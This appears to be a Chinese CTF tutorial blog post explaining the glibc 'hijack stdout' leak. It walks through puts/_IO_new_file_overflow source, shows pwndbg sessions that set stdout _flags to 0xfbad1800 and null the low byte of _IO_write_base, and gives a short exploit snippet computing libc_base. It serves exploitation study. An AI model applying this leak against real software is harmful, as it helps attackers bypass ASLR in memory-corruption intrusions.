hijack_stdout

在glibc_heap的利用中,很可能会遇到没有show功能的程序,从而泄露不了地址,我们可以通过控制stdio,在通过puts等io操作输出之内的函数泄露libc地址

源码分析

_IO_puts()

首先我们看puts()函数的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

这里我们要关注的是_IO_sputn,因为只有它调用了str参数,跳转到定义

1
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

AI的解释:

在glibc中,#define _IO_sputn(__fp, __s, __n)是一个宏定义,它的作用是将一个函数或操作的调用转换为另一个函数或操作的调用。在这个宏中,_IO_XSPUTN是实际执行操作的函数,__fp__s__n 是传递给该函数的参数。

具体来说,这个宏的定义可以被分解为以下几点:

  1. 宏定义#define是C语言中的宏定义指令,用于定义一个宏。这个宏在预处理阶段会被展开。

  2. 参数__fp__s__n是这个宏接受的三个参数:

    • __fp:通常是一个指向文件流的指针(FILE *),表示要写入的目标文件流。
    • __s:通常是一个指向字符数组的指针,表示要写入的数据。
    • __n:表示要写入的字符数。
  3. 展开:当在代码中调用_IO_sputn(fp, s, n)时,预处理器会将其展开为_IO_XSPUTN(fp, s, n),从而调用_IO_XSPUTN函数。

_IO_XSPUTN通常是一个更底层的实现,用于处理输出到文件流的具体细节。它可能会处理缓冲、字符编码等。

假设你在代码中有如下调用:

1
_IO_sputn(fp, buffer, size);

在预处理阶段,这将被转换为:

1
_IO_XSPUTN(fp, buffer, size);

这样,实际的输出操作将由_IO_XSPUTN函数执行,而_IO_sputn宏提供了一个更高级的接口。

总结

_IO_sputn宏用于将对输出操作的高级抽象映射到底层实现,便于代码的维护和可读性,同时也可能涉及到优化和条件编译等特性。

这也就说明了这个_IO_putn(__fp, __s, __n)是一个虚表函数(网上好多是这样说的),虽然#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN(__fp, __s, __n)本身是一个宏定义,并不涉及C++的虚表机制,但可以通过理解多态性来认识它的作用和设计理念。在C++中,宏可以简化接口,同时背后可能调用一些更为复杂的底层实现,类似于如何通过虚表和虚函数来实现动态绑定。这种设计使得代码更加灵活和可维护。


_IO_new_file_xsputn()

这个_IO_sputn()最终调用的是_IO_new_file_xsputn()函数,在glibc/libio/fileops.c/1200行左右,这里我们要关注的是_IO_OVERFLOW()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;

if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */

/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
#ifdef _LIBC
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
memcpy (f->_IO_write_ptr, s, count);
f->_IO_write_ptr += count;
#endif
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
//用它来刷新缓冲区,刷新缓冲区也就会输出

这个_IO_OVERFLOW也是虚表函数,它实际调用的是_IO_new_file_overflow

_IO_new_file_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
//flags不能包含_IO_NO_WRITES标志位0x8,否则就会执行这里的报错
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
//这里若满足这两个条件之一就会执行下面这一大串代码,很有可能会报错
//所以我们设置flags中_IO_CURRENTLY_PUTTING标志位为1,就可以跳过这一大段代码
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)//
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}

if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
//在这里我们要关注这个 _IO_do_write,调整到_Io_new_do_write
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
//这里_IO_do_write输出了f->_IO_write_ptr - f->_IO_write_base中间的值
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

_IO_new_do_write()

跳转到_IO_new_do_write,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}//这里也就是io_do_erite调用了new_do_write进行写出
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
//new_do_write
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
//首先检查了flags中_IO_IS_APPENDING标志位,0x1000处
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);//这里就能实现输出f->_IO_write_ptr - f->_IO_write_base
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

test

随便运行一个程序,用gdb调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
pwndbg> x/32gx &_IO_2_1_stdout_
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd26a4 0x0000000000000000
0x7ffff7dd2670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd18e0
0x7ffff7dd2690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7ffff7dd26a0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007ffff7dd3780
0x7ffff7dd26b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd26c0 <_IO_2_1_stdout_+160>: 0x00007ffff7dd17a0 0x0000000000000000
0x7ffff7dd26d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd26e0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd26f0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7dd06e0
0x7ffff7dd2700 <stderr>: 0x00007ffff7dd2540 0x00007ffff7dd2620
0x7ffff7dd2710 <stdin>: 0x00007ffff7dd18e0 0x00007ffff7a2db80
pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd2620
$1 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
#正常情况下_IO_write_base和_IO_write_ptr是相等的
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

查看一下_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/32gx 0x7ffff7dd26a3
0x7ffff7dd26a3 <_IO_2_1_stdout_+131>: 0xdd3780000000000a 0xffffff00007ffff7
0x7ffff7dd26b3 <_IO_2_1_stdout_+147>: 0x000000ffffffffff 0xdd17a00000000000
0x7ffff7dd26c3 <_IO_2_1_stdout_+163>: 0x00000000007ffff7 0x0000000000000000
0x7ffff7dd26d3 <_IO_2_1_stdout_+179>: 0x0000000000000000 0xffffff0000000000
0x7ffff7dd26e3 <_IO_2_1_stdout_+195>: 0x00000000000000ff 0x0000000000000000
0x7ffff7dd26f3 <_IO_2_1_stdout_+211>: 0xdd06e00000000000 0xdd254000007ffff7
0x7ffff7dd2703 <stderr+3>: 0xdd262000007ffff7 0xdd18e000007ffff7
0x7ffff7dd2713 <stdin+3>: 0xa2db8000007ffff7 0x00000000007ffff7
0x7ffff7dd2723 <map+3>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2733 <__printf_arginfo_table+3>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2743 <buf+3>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2753 <buffer+3>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2763 <buffer+3>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2773 <buffer+3>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2783 <buffer+3>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2793 <ttyname_buf+3>: 0x0000000000000000 0x0000000000000000

若我们通过低字节覆盖,将它低字节覆盖为\x00,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/32gx 0x7ffff7dd2600
0x7ffff7dd2600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7dd06e0#这里包含了libc中的值
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd26a4 0x0000000000000000
0x7ffff7dd2670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd18e0
0x7ffff7dd2690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7ffff7dd26a0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007ffff7dd3780
0x7ffff7dd26b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd26c0 <_IO_2_1_stdout_+160>: 0x00007ffff7dd17a0 0x0000000000000000
0x7ffff7dd26d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd26e0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd26f0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7dd06e0
pwndbg>

它就会根据f->_IO_write_ptr - f->_IO_write_base来输出从<_IO_2_1_stderr_+192>到 <_IO_2_1_stdout_+131>中间的内容

总结:

所以我们要泄露地址,首先要将 io_file_IO_CURRENTLY_PUTTING 置 1,_IO_IS_APPENDING 0x1000 置 1,以及 _IO_NO_WRITES 0x8 不要为 1,就可以进行地址泄露了,一般可以覆盖为 0xfbad1800,就可以泄露 write_basewrite_ptr 之间的值,随便运行个程序,我们可以看到这里,可以看到 write_basewrite_ptr 都是 libc

deepseek解释0xfbad1800:

_flags 字段 0xfbad1800 中,0x10000x8 对应的二进制位如下:

  1. 标志位解析
  • _IO_IS_APPENDING(0x1000)

    • 位位置:第 12 位(从 0 开始计数)。
    • 0xfbad1800 中的状态
      0xfbad1800 & 0x1000 = 0x1000,说明该位被设置为 1
    • 作用:表示文件流处于追加模式(append),允许写入时自动定位到文件末尾。
  • _IO_NO_WRITES(0x8)

    • 位位置:第 3 位
    • 0xfbad1800 中的状态
      0xfbad1800 & 0x8 = 0,说明该位被设置为 0
    • 作用:允许写入操作(若为 1 则禁止写入)。
  1. 0xfbad1800 的二进制分解

0xfbad1800 转换为 32 位二进制:

1
2
3
4
5
1111 1011 1010 1101 0001 1000 0000 0000
^ ^
| |
| +-- 第 3 位 (0x8):0
+-- 第 12 位 (0x1000):1
  1. 其他关键标志
  • _IO_CURRENTLY_PUTTING(0x800)

    • 位位置:第 11 位
    • 0xfbad1800 中的状态
      0xfbad1800 & 0x800 = 0x800,说明该位被设置为 1
    • 作用:表示当前正在进行输出操作(put)。
  • _IO_MAGIC(0xfbad0000)

    • 高 16 位0xfbad,标识这是一个合法的 FILE 结构。
  1. 总结
  • 0xfbad1800 的位设置
    • 第 12 位(0x1000):1(允许追加模式)。
    • 第 3 位(0x8):0(允许写入操作)。
    • 第 11 位(0x800):1(正在写入)。

通过覆盖 _flags0xfbad1800,可以满足以下条件:

  1. 启用 _IO_IS_APPENDING_IO_CURRENTLY_PUTTING
  2. 禁用 _IO_NO_WRITES,从而允许地址泄露。

调试

随便找一个输出菜单有puts的堆题,直接gdb运行起来

第一步,通过x/32gx &_IO_2_1_stdout_来查看 stdout 的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/32gx &_IO_2_1_stdout_
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd26a4 0x0000000000000000
0x7ffff7dd2670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd18e0
0x7ffff7dd2690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7ffff7dd26a0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007ffff7dd3780
0x7ffff7dd26b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd26c0 <_IO_2_1_stdout_+160>: 0x00007ffff7dd17a0 0x0000000000000000
0x7ffff7dd26d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd26e0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd26f0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7dd06e0
0x7ffff7dd2700 <stderr>: 0x00007ffff7dd2540 0x00007ffff7dd2620
0x7ffff7dd2710 <stdin>: 0x00007ffff7dd18e0 0x00007ffff7a2db80

第二步,通过p *(struct _IO_FILE_plus*)0x7ffff7dd2620查看它的结构体信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p *(struct _IO_FILE_plus*)0x7ffff7dd2620
$1 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

第三步,设置flag值

1
pwndbg> set *0x7ffff7dd2620 = 0xfbad1800
1
2
3
4
5
6
7
8
pwndbg> x/32gx &_IO_2_1_stdout_
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad1800 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd26a4 0x0000000000000000
0x7ffff7dd2670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd18e0

第四步,设置_IO_write_base低位为\x00

1
2
3
4
5
6
7
8
9
pwndbg> set *0x7ffff7dd2640 = 0x7ffff7dd2600
pwndbg> x/32gx &_IO_2_1_stdout_
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad1800 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd2600 0x00007ffff7dd26a3
0x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd26a4 0x0000000000000000
0x7ffff7dd2670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd18e0

再看结构体:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> p *(struct _IO_FILE_plus*)0x7ffff7dd2620
$4 = {
file = {
_flags = -72542208,
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7dd2600 <_IO_2_1_stderr_+192> "",
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",

最终,如下:

1
2
3
4
pwndbg> c
Continuing.
1
����&��&��&�&��&��&��&��&����������size:

可以看到在size: 前面多了一些东西,若我们在gdb的debug模式下就可以看到输出的是什么了。

例题

可以参考largebin_attack中的starctf_2019_heap_master

在exp中

1
2
3
4
5
print(p.recv(1))#这个接收 b' '
print(p.recv(24))#jie'sh
data = p.recv(6)
libc_base = uu64(data) - libc.sym['_IO_file_jumps']
lg('libc_base',libc_base)

实现了接收泄露出的_IO_file_jumps的libc地址,从而计算出libc_base